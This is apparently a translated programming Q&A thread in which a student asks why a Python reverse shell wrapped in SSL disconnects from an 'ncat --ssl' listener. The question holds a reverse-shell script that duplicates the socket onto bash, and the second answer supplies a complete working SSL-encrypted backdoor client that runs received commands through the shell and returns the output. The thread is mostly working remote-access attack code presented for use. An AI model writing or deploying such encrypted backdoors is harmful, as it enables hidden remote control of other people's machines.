对于我的大学项目,我必须使用python创建一个远程访问工具。我可以在一个简单的TCP套接字上轻松完成,但是当涉及SSL套接字时,我会遇到问题。
以下是代码:
#/usr/bin/python3
import socket
import ssl
import subprocess
import os
# SET VARIABLES
HOST, PORT = '127.0.0.1', 1234
# CREATE SOCKET
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
# WRAP SOCKET
sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)
sock.connect((HOST, PORT))
os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.dup2(sock.fileno(), 2)
p = subprocess.call(["/bin/bash", "-i"])
当我尝试用ncat --ssl -nlvp 1234
听另一边时,反向外壳立即连接和断开连接,没有出现任何内容;如果我删除了sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)
我得到了一个工作后门,但是在纯文本套接字上。
有人可以向我解释这个问题吗?也许给我一个解决方案?
答案 0 :(得分:1)
TCP在OS内核中实现,而SSL在用户空间中实现。使用fileno()
获得的文件描述符仅是内核表示形式。因此,您的代码首先建立TCP连接(内核空间),然后将TCP套接字包装到SSL(用户空间)中。但在建立SSL连接后,您尝试直接在TCP套接字上写入,而不是根据SSL协议包装数据。这将立即导致无效的SSL协议数据和连接关闭。
相反,您需要创建子进程并在父进程和子进程之间交换数据,通常是通过将stdin / stdout映射到管道或套接字对。然后在父级中,您可以使用SSL套接字转发子级数据,并在从SSL套接字读取子级后将数据推送到子级。
要知道每个文件描述符上的数据何时可用(即SSL套接字和与子进程的通信),您可以使用select。请注意,在使用带有SSL套接字的select时也必须特别小心,即使用SSL进行简单选择是不够的,但您必须use pending。
答案 1 :(得分:1)
老问题,但这是我的解决方案,正如Stteffen Ullrich所说的那样;
import os
import socket
import subprocess
import ssl
# Create a socket
def socket_create():
try:
global host
global port
global ssls
host = '127.0.0.1'
port = 9999
s = socket.socket()
ssls = wrappedSocket = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1)
except socket.error as msg:
print("Socket creation error: " + str(msg))
# Connect to a remote socket
def socket_connect():
try:
global host
global port
global s
ssls.connect((host, port))
except socket.error as msg:
print("Socket connection error: " + str(msg))
# Receive commands from remote server and run on local machine
def receive_commands():
global s
while True:
data = ssls.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes)
ssls.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()
def main():
socket_create()
socket_connect()
receive_commands()
main()